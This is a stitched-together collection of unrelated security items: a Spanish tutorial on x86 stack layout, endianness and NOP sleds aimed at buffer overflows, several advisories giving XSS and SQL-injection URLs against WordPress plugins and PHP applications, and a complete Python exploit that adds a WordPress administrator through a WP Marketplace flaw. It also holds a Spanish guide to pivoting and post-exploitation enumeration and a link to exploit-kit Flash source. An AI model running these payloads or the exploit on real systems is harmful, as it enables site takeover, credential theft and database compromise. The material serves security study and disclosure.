específica, mientras que hay otros que solo sirven como se dice arriba, para obtener y almacenar datos. En este caso, nos vamos a centrar e los registros GPRs (Registros de Propósito General): En la primera columna como vemos, pone «Nomenclatura x86», esto es porque dependiendo de los bits del procesador, la nomenclatura es distinta: En las CPU de 8 bits, se añadia el sufijo L o H dependiendo de si se trataba de un Low byte o High Byte.En las CPU de 16 bits, el sufijo era la X (sustituyendolo por la L o H de las CPU de 8 bits), excepto en el ESP, EBP, ESI y EDI, donde simplemente quitaron la L.En las CPU de 32 bits, como vemos, se añade el prefijo E, refiriendose a Extender.Por último, en las CPU de 64 bits, la E se reemplaza por la R. Además de los 8 GPR, hay otro registro que será muy importante para nosotros, se trata del EIP (en la nomenclatura x86). El EIP (Extended Instruction Pointer) contiene la dirección de la próxima instrucción del programa. Proceso en la memoria Cuando se ejecuta un proceso, se organiza en la memoria de la siguiente forma: La memoria se divide en 4 regiones: Text, Data, Heap y Stack. Text: es establecido por el programa y contiene su código, éste área está establecida de solo lectura.Data: esta region se divide en datos inicializados y datos no inicializados.Los datos inicializados incluyen objetos como variables estáticas y globales que ya han sido predefinidas y pueden ser modificadas.Los datos no inicializados, llamados también BSS (Block Started by Symbol), también inicializan variables, pero estas se inicializan como 0 o sin ninguna inicializacion explícita, por ejemplo: static int t.Heap: aquí es donde se encuentra la memoria dinámica, es decir, durante la ejecución, el programa puede requerir mas memoria de lo que estaba previsto, por ello, a través de llamadas al sistema como brk o sbrk y todo controlado a través del uso de malloc, realloc y free, se consigue un área expandible en base a lo necesario.Stack: es el área donde ocurre todo, vamos a dedicarle un punto: Stack El stack es un bloque o estructura de datos con modo de acceso LIFO (Last In, First Out; último en entrar, primero en salir), y está ubicado en la High Memory. Se puede pensar en el stack como un array usado para almacenar direcciones de retornos de funciones, pasar argumentos a funciones y almacenar variables locales. Algo curioso del stack, es que crece hacia Low Memory, es decir, crece hacia abajo, hacia 0x00000000. Siendo el stack de modo de acceso LIFO, existen dos operaciones principales, antes de entrar a explicar cada una de ellas, voy a definir un registro importante para entender estas dos operaciones: –> ESP (Stack Pointer): es un registro el cual apunta siempre a la cima del stack (top of the stack). En este punto hay que darse cuenta que, como el stack crece hacia abajo, es decir, hacia Low Memory, conforme el ESP esté mas cerca del 0x00000000 mas grande es el stack. Operación PUSH La operación de PUSH lo que hace es restar al ESP. En CPU de 32 bits, resta 4 mientras que en 64, 8. Si lo pensamos bien, si el PUSH en vez de restar, sumase, estariamos sobreescribiendo/perdiendo datos. Ejemplo de PUSH T: Ahora, por ejemplo, de forma mas técnica, si el valor inicial del ESP fuese 0x0028FF80, e hiciésemos un PUSH 1, el ESP disminuiria -4, conviertiéndose en 0x0028FF7C y entonces, el 1 se pondría en la cima del stack. De forma detallada, la dirección iria cambiando tal que: Operacion POP El caso del POP es igual pero al contrario, en 32 bits también se suma 4 y en 64, 8. El POP lo que haría en este caso sería quitar el valor que está en la cima del stack, es decir, los datos que se encuentren en la dirección donde apunta ahora mismo el ESP. Estos datos que se quitan normalmente se almacenarian en otro registro. Ejemplo de POP T: De nuevo, de forma mas técnica, si por ejemplo, despues del PUSH 1 anterior, el ESP vale 0x0028FF7C, haciendole la operacion POP EAX quitariamos lo previamente empujado, haciendo que el ESP volviese a valer 0x0028FF80, y, además, haciendo que el valor quitado, se copie al registro EAX (en este caso). Es importante saber que el valor que se quita no se elimina o se vuelve 0. Se queda en el stack hasta que otra instrucción lo sobreescriba. Funciones Ahora que se entiende mejor el stack, vamos a ver las funciones. Éstas, alteran el flujo normal del programa y cuando una función acaba, el flujo vuelve a la parte desde donde ha sido llamada. Hay dos fases importantes aquí: Prólogo: es lo que ocurre al principio de cada función. Crea el stack frame correspondiente.Epílogo: exactamente lo contrario al prólogo. Ocurre al final de la funcion cuando ésta acaba. Su propósito es restaurar el stack frame de la función que llamó a la que acaba de terminar. Por lo que el stack consiste en stack frames (porciones o areas del stack), que son empujadas (PUSH) cuando se llama a una función y quitadas (POP) cuando devuelve el valor esa funcion. Cuando una funcion empieza, se crea un stack frame que se asigna a la dirección actual del ESP. Cuando la funcion termina, ocurren dos cosas: El programa recibe los parámetros pasados a la subrutinaEl EIP se resetea a la dirección de la llamada inicial. Dicho de otra forma, el stack frame mantiene el control de la direccion donde cada subrutina/stack frame debe volver cuando acaba. Vamos a ver un ejemplo práctico básico para que se vea todo mas claro: El programa empieza por la funcion main. El primer stack frame que debe ser empujado (PUSH) al stack es main() stack frame. Así que una vez se inicia, un nuevo stack frame se crea, el main() stack frame.Dentro de main(), se llama a la función a(), por lo que el ESP está apuntando a la cima del stack de main() y aquí se crea el stack frame para a().Dentro de a(), se llama a b(), por lo que estando el ESP en la cima del stack frame de a() se crea el stack frame para b().A la hora de acabar y que cada funcion vaya llegando a su return, es el proceso contrario, entraremos en detalle en el siguiente ejemplo. Ejemplo mas complejo y en detalle: Cuando una función comienza, lo primero que se añade al stack son los parámetros, en este caso, el programa comienza en la función main() y añade mediante PUSH al stack los parámetros argc y argv , en orden de derecha a izquierda (siempre es así). El stack se vería asi: High Memory Low Memory Ahora, se hace la llamada (CALL) a la función main(). Se empuja el contenido del EIP (Instruction Pointer) al stack y se apunta al primer byte después del CALL. Este punto es importante porque tenemos que saber la dirección de la siguiente instrucción para poder seguir una vez la función llamada retorne. High Memory Low Memory Ahora estamos dentro de la funcion main(), se tiene que crear un nuevo stack frame para ésta funcion. El stack frame es definido por el EBP (Frame Pointer) y el ESP (Stack Pointer). Como no queremos perder información del anterior stack frame, debemos guardar el EBP actual del stack, ya que si no hacemos esto cuando retornemos, no sabremos que información pertenecía al anterior stack frame, la que llamó a main(). Una vez se ha guardado el valor del EBP, el EBP se actualiza y apunta a la cima del stack. En este punto, el EBP y el ESP apuntan al mismo sitio Low Memory High Memory Desde este punto, el nuevo stack frame comienza encima del anterior (old stack frame). Toda esta secuencia de instrucciones llevadas a cabo hasta ahora es lo que se conoce como «prólogo». Esta fase ocurre en todas las funciones. Las instrucciones llevadas a cabo hasta ahora, en ensamblador, serían las siguientes: push ebpmov ebp, espsub esp, X // Donde X es un número El stack antes de estas tres instrucciones es el siguiente: Low Memory High Memory La primera instrucción (push ebp), guarda el EBP empujándolo al stack, correspondiendose en el stack a «old EBP», para que se pueda restaurar una vez la función retorne. Ahora el EBP está apuntando a la cima del anterior stack frame (old stack frame). Con la segunda instrucción (mov ebp, esp), conseguimos que el ESP se mueva donde está el EBP, creando ahora si, un nuevo stack frame: Low Memory High Memory Recordemos que en este punto, el EBP y el ESP están ubicados en la misma dirección. La tercera instrucción (sub esp, X), mueve el ESP disminuyendo su valor (que como el stack crece hacia abajo, está por así decirlo, aumentando). Esto es necesario para hacer espacio para las variables locales de la función. Esta instrucción básicamente está haciendo la siguiente operación: ESP = ESP – X Dejando el stack, en la siguiente forma: Low Memory High Memory Ahora que el prólogo ha terminado, el stack frame para la función main() está completado. Ahora, hemos creado un hueco, que se puede ver en la imagen superior, para las variables locales. Pero ocurre un problema, el ESP no está apuntando a la memoria que hay después del «old EBP», sino que está apuntando a la cima del stack. Por lo que si hacemos un PUSH para añadir cada variable local, no se estaría empujando a la memoria reservada para ellas. Así que no podemos usar este tipo de operación. Así que, en este caso, trayendo el código para recordarlo: Vamos a tener que usar otro tipo de operación, y será la siguiente: MOV DWORD PRT SS:[ESP+Y], 0B Teniendo en cuenta que 0B es 11, y estamos hablando de la primera variable declarada en main() como podemos ver en el código. Esta instrucción significa: Mueveme el valor 0B a la dirección de memoria que apunte ESP+Y. Siendo Y un número y ESP+Y una dirección de memoria entre EBP y ESP. Este proceso se repetirá para todas las variables que se tengan que declarar. Una vez completado, el stack tendrá esta forma: Low Memory High Memory Despues de colocar las 3 variables, el main() ejecutará la siguiente instrucción. En términos generales, el main() seguirá con su ejecución. En este caso, el main() ahora llama a la función test(), por lo que otro stack frame se creará. El proceso será el mismo que lo visto hasta ahora: PUSH a los parámetros de la funciónLlamada a la funciónPrólogo (entre otras cosas, actualizará el EBP y el ESP para el nuevo stack frame)Almacenará las variables locales en el stack Al final de todo este proceso, el stack se verá de esta forma: Low Memory High Memory Hasta este punto, solo hemos visto la mitad del proceso, el cómo se crea los stack frames. Ahora vamos a ver como se destruyen, es decir, que ocurre cuando se ejecuta una sentencia return, que es también, lo que se conoce como «epílogo». En el epílogo, ocurre lo siguiente: Se devuelve el control al caller (a quien llamó a la función)El ESP se reemplaza con el valor actual de EBP, haciendo que ESP y EBP apunten al mismo sitio. Ahora se hace un POP a EBP para que se recupere el anterior EBP.Se vuelve al caller haciendo un POP al EIP y luego saltando a él. El epílogo se puede representar como: leaveret En instrucciones en ensamblador correspondería a: mov esp, ebppop ebpret Cuando se ejecuta la primera instrucción (mov esp, ebp), el ESP valdrá lo mismo que el EBP y por lo tanto, el stack obtiene la siguiente forma: Low Memory High Memory Con la segunda instrucción (pop ebp), se hace un POP al EBP (donde también se encuentra en este momento el ESP). Por lo que al quitarlo del stack. El «old EBP» vuelve a ser el principal, y de esta forma, se ha restaurado el anterior stack frame: Low Memory High Memory Con la tercera instrucción (ret), se vuelve a la dirección de retorno del stack(referencia: docs.oracle.com) Con esto, conseguimos que el ESP apunte a «old EIP», de tal forma que el stack quede de la siguiente forma: Low Memory High Memory En este punto, todo se ha restaurado correctamente, y el programa ya seguiría a la siguiente instrucción después de la llamada a test(). Y cuando acabe, ocurre el mismo proceso. Endianness La forma de representar y almacenar los valores en la memoria es en Endianness, donde dentro de éste formato hay 2 tipos: big-endianlittle-endian Ejemplo: Si representamos el número 11, en 4 bytes y en hexadecimal, obtenemos el siguiente valor: 0x0000000B Siendo 0B = 11 Si por ejemplo, víesemos que en la dirección de memoria 0x0028FEBC se encuentra 0x0000000B, si estamos en un sistema que usa Little Endian, podriamos entender en que dirección de memoria está cada byte con lo siguiente: A 0x0000000B, hacemos la operación de la imagen, quedandose tal que: 0B 00 00 00 El último valor, el resaltado, tiene como dirección de memoria la ya vista arriba: 0x0028FEBC, por lo que podríamos obtener los demás valores tal que: high memory 0B : 0x0028FEBF 00 : 0x0028FEBE 00 : 0x0028FEBD 00 : 0x0028FEBC low memory En forma de ecuación por así decirlo, podriamos expresarlo de la siguiente manera: a = 0x0028FEBC 0B : a + 3 00 : a + 2 00 : a + 1 00 : a Si el sistema hubiese sido Big Endian sería exactamente al revés, las direcciones hubieran correspondido a: high memory 00 : 0x0028FEBF 00 : 0x0028FEBE 00 : 0x0028FEBD 0B : 0x0028FEBC low memory Es importante saber la diferencia ya que lo necesitaremos para escribir payloads de cara a un Buffer Overflow. NOPS – No Operation Instruction El NOP es una instrucción del lenguaje ensamblador que no hace nada. Si un programa se encuentra un NOP simplemente saltará a la siguiente instrucción. El NOP es normalmente representado en hexadecimal como 0x90, en los sistemas x86. El NOP-sled es una técnica usada durante la explotación de buffer overflows. Su propósito es llenar ya sea una gran porcion o pequeña del stack de NOPS. Esto nos permitirá controlar que instrucción queremos ejecutar, la cual será la que normalmente se coloque despues del NOP-Sled. La razon de ésto es porque quizas el buffer overflow en cuestion del programa, necesite un tamaño y dirección específico porque será la que el programa esté esperando. O también nos puede facilitar conseguir que el EIP apunte a nuestro payload/shellcode.
  13. source: https://www.securityfocus.com/bid/51216/info The TheCartPress WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. TheCartPress WordPress Plugin 1.6 and prior versions are vulnerable. http://www.example.com/wp-content/plugins/thecartpress/admin/OptionsPostsList.php?tcp_options_posts_update=sdf&tcp_name_post_234=%3Cimg%20src=[XSS]&tcp_post_ids[]=234
  14. source: https://www.securityfocus.com/bid/51218/info Siena CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. Siena CMS 1.242 is vulnerable; other versions may also be affected. http://www.example.com/index.php?err=[XSS]
  15. source: https://www.securityfocus.com/bid/51221/info PHPB2B is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. http://www.example.com/[patch]/list.php?do=search&q=[XSS]
  16. source: https://www.securityfocus.com/bid/51220/info WP Live.php plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. http://www.example.com/[path]/wp-content/plugins/wp-livephp/wp-live.php?s=[Xss]
  17. source: https://www.securityfocus.com/bid/51227/info FuseTalk Forums is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker could leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks. FuseTalk Forums 3.2 is vulnerable; other versions may also be affected. http://www.example.com/login.cfm?windowed=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
  18. source: https://www.securityfocus.com/bid/51240/info Tienda Virtual is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query. A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. The following example URIs are available: http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13-- http://www.example.com/art_detalle.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13+from+information_schema.tables--
  19. source: https://www.securityfocus.com/bid/51244/info WHOIS for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. WHOIS 1.4.2.3 is vulnerable; other versions may also be affected. http://www.example.com/[path]/wp-content/plugins/wp-whois/wp-whois-ajax.php?cmd=wpwhoisform&ms=Xss?domain=[xss]
  20. source: https://www.securityfocus.com/bid/51241/info The Comment Rating plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. An attacker could leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This could allow the attacker to steal cookie-based authentication credentials and launch other attacks. http://www.example.com/wp-content/plugins/comment-rating/ck-processkarma.php?id=[Integer Value]&action=add&path=<script>alert('Founded by TheEvilThinker')</script>&imgIndex=
  21. source: https://www.securityfocus.com/bid/51254/info TextPattern is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. TextPattern 4.4.1 is vulnerable; other versions may also be affected. POST /textpattern/setup/index.php HTTP/1.1 Host: A.B.C.D User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:8.0.1) Gecko/20100101 Firefox/8.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Proxy-Connection: keep-alive Referer: http://www.example.com/textpattern/setup/index.php Content-Type: application/x-www-form-urlencoded Content-Length: 156 duser=blah&dpass=&dhost=localhost&ddb=%3Cscript%3Ealert%28%27123%27%29%3C%2 Fscript%3E&dprefix=&siteurl=A.B.C.D&Submit=next&lang=en-us&step=print Config
  22. #!/usr/bin/python # # Exploit Name: WP Marketplace 2.4.0 Remote Command Execution # # Vulnerability discovered by Kacper Szurek (http://security.szurek.pl) # # Exploit written by Claudio Viviani # # # # -------------------------------------------------------------------- # # The vulnerable function is located on "wpmarketplace/libs/cart.php" file: # # function ajaxinit(){ # if(isset($_POST['action']) && $_POST['action']=='wpmp_pp_ajax_call'){ # if(function_exists($_POST['execute'])) # call_user_func($_POST['execute'],$_POST); # else # echo __("function not defined!","wpmarketplace"); # die(); # } #} # # Any user from any post/page can call wpmp_pp_ajax_call() action (wp hook). # wpmp_pp_ajax_call() call functions by call_user_func() through POST data: # # if (function_exists($_POST['execute'])) # call_user_func($_POST['execute'], $_POST); # else # ... # ... # ... # # $_POST data needs to be an array # # # The wordpress function wp_insert_user is perfect: # # http://codex.wordpress.org/Function_Reference/wp_insert_user # # Description # # Insert a user into the database. # # Usage # # <?php wp_insert_user( $userdata ); ?> # # Parameters # # $userdata # (mixed) (required) An array of user data, stdClass or WP_User object. # Default: None # # # # Evil POST Data (Add new Wordpress Administrator): # # action=wpmp_pp_ajax_call&execute=wp_insert_user&user_login=NewAdminUser&user_pass=NewAdminPassword&role=administrator # # --------------------------------------------------------------------- # # Dork google: index of "wpmarketplace" # # Tested on WP Markeplace 2.4.0 version with BackBox 3.x and python 2.6 # # Http connection import urllib, urllib2, socket # import sys # String manipulator import string, random # Args management import optparse # Check url def checkurl(url): if url[:8] != "https://" and url[:7] != "http://": print('[X] You must insert http:// or https:// procotol') sys.exit(1) else: return url # Check if file exists and has readable def checkfile(file): if not os.path.isfile(file) and not os.access(file, os.R_OK): print '[X] '+file+' file is missing or not readable' sys.exit(1) else: return file def id_generator(size=6, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) banner = """ ___ ___ __ | Y .-----.----.--| .-----.----.-----.-----.-----. |. | | _ | _| _ | _ | _| -__|__ --|__ --| |. / \ |_____|__| |_____| __|__| |_____|_____|_____| |: | |__| |::.|:. | `--- ---' ___ ___ __ __ __ | Y .---.-.----| |--.-----| |_.-----| .---.-.----.-----. |. | _ | _| <| -__| _| _ | | _ | __| -__| |. \_/ |___._|__| |__|__|_____|____| __|__|___._|____|_____| |: | | |__| |::.|:. | `--- ---' WP Marketplace R3m0t3 C0d3 Ex3cut10n (Add WP Admin) v2.4.0 Written by: Claudio Viviani http://www.homelab.it info@homelab.it homelabit@protonmail.ch https://www.facebook.com/homelabit https://twitter.com/homelabit https://plus.google.com/+HomelabIt1/ https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww """ commandList = optparse.OptionParser('usage: %prog -t URL [--timeout sec]') commandList.add_option('-t', '--target', action="store", help="Insert TARGET URL: http[s]://www.victim.com[:PORT]", ) commandList.add_option('--timeout', action="store", default=10, type="int", help="[Timeout Value] - Default 10", ) options, remainder = commandList.parse_args() # Check args if not options.target: print(banner) commandList.print_help() sys.exit(1) host = checkurl(options.target) timeout = options.timeout print(banner) socket.setdefaulttimeout(timeout) username = id_generator() pwd = id_generator() body = urllib.urlencode({'action' : 'wpmp_pp_ajax_call', 'execute' : 'wp_insert_user', 'user_login' : username, 'user_pass' : pwd, 'role' : 'administrator'}) headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36'} print "[+] Tryng to connect to: "+host try: req = urllib2.Request(host+"/", body, headers) response = urllib2.urlopen(req) html = response.read() if html == "": print("[!] Account Added") print("[!] Location: "+host+"/wp-login.php") print("[!] Username: "+username) print("[!] Password: "+pwd) else: print("[X] Exploitation Failed :(") except urllib2.HTTPError as e: print("[X] "+str(e)) except urllib2.URLError as e: print("[X] Connection Error: "+str(e))
  23. Cuando comprometemos un equipo, mientras lo enumeramos, es probable que veamos que tenga acceso a otros equipos o incluso redes, que nosotros no tenemos acceso directamente. Esto quiere decir, que tendremos que usar el equipo comprometido como «máquina de salto», para poder tener acceso a redes internas y otros equipos. Este proceso se puede repetir de forma recursiva. Ejemplo gráfico: En esta imagen como vemos, de toda una red empresarial nosotros solo tenemos acceso a un equipo, el cual actúa de frontera entre la red interna y externa. Es a través de él, por el cual ejecutamos un pivoting para saltar a otro equipo, y repetimos el proceso, hasta llegar como vemos a un servidor crítico. Básicamente, la metodología completa es la siguiente: PivotingEnumeración Post-ExplotaciónExplotaciónVuelta al punto 1 En este aspecto, una vez hemos comprometido un activo, la enumeración para poder darnos cuenta de la existencias de otras redes o equipos variará en cada caso, sin embargo, si que hay ciertos patrones que se mantienen de forma general que podemos seguir. Podemos empezar comprobando la caché ARP del equipo en busca de nuevas IPs, tanto en windows como en linux se puede ver mediante el comando arp -a. Posteriormente, podemos echar un vistazo a los archivos hosts, la ruta de este archivo es la siguiente: Linux –> /etc/hostsWindows –> C:\Windows\System32\drivers\etc\hosts En linux quizás también podría ayudarnos el archivo /etc/resolv.conf para descubrir servidores DNS. Una alternativa a este archivo es ejecutar el comando: nmcli dev show. Lo equivalente en windows sería usar el comando ipconfig /all. También podríamos comprobar en Linux la tabla de routing, con el comando route -n o ip route. O ver si ya hay alguna conexión establecida con algún host con el comando netstat -auntp. Por último, no olvidar comprobar las distintas interfaces de red que tenga el equipo: Linux –> ifconfig, ip -4 addr, /proc/net/fib_trieWindows –> ipconfig En este punto, ya la enumeración adicional dependerá de cada caso, pero en lineas generales, ésto es lo común. Una vez tenemos la información de a que equipos o red queremos llegar, la acción de hacer pivoting se puede llevar a cabo usando: Herramientas preinstaladas en el equipo comprometido.En caso de no tener, usar binarios estáticos de herramientas. La diferencia entre un binario estático y uno dinámico es la compilación. La mayoría de programas hacen uso de librerías externas para su funcionamiento. El binario estático trae con la compilación estas librerías que requiere el programa, sin embargo, un binario dinámico las requiere del sistema operativo, esto quiere decir que necesitas que el sistema operativo tengas esas librerias, ya que sino no funcionará. Por lo que el binario estático te soluciona posibles problemas de dependencias. Scripting.Proxies. Los proxies deben ser la última opción a usar, ya que éstos además de ser un poco lentos, suelen tener limitaciones sobre el tipo de tráfico que pueden transmitir, es decir, que por ejemplo, con un proxy TCP, no vas a poder hacer uso de tráfico UDP. Ésto es todo en cuanto a que podemos usar para ejecutar pivoting. Volviendo a la idea general del pivoting, hemos comentado mucho que su fin es acceder a otros equipos los cuales no tenemos accesos porque no están en nuestra red. Sin embargo, éste no es el único uso, el pivoting puede servirnos incluso para un equipo el cual ya tenemos acceso directamente. Por ejemplo, puede que en ciertas ocasiones, un equipo no nos muestre todo los puertos abiertos que de verdad tiene, o que nos bloquee de distintas formas. Podemos en estos casos intentar hacer lo mismo pero a través de otro equipo de la misma red. Quien sabe si de la forma que está configurado, tiene una lista blanca de a que equipos bloquear o no X cosas. Saber hacer pivoting también nos puede servir para mostrar externamente o tunelizar puertos que solo están abiertos de forma interna en la máquina, para así, poder interactuar desde fuera o desde nuestro equipo directamente. Por eso mismo, el pivoting no solo es útil para acceder a otras redes, sino que también nos puede servir para interactuar con equipos de nuestra propia red.
  24. Source: https://github.com/SecurityObscurity/cve-2015-0313 PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36491.zip Adobe Flash vulnerability source code (cve-2015-0313) from Angler Exploit Kit Reference: http://blog.trendmicro.com/trendlabs-security-intelligence/trend-micro-discovers-new-adobe-flash-zero-day-exploit-used-in-malvertisements/ http://malware.dontneedcoffee.com/2015/02/cve-2015-0313-flash-up-to-1600296-and.html https://helpx.adobe.com/security/products/flash-player/apsa15-02.html
  25. source: https://www.securityfocus.com/bid/51258/info GraphicsClone Script is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. http://www.example.com/search/?term=<script>alert(document.cookie)</script>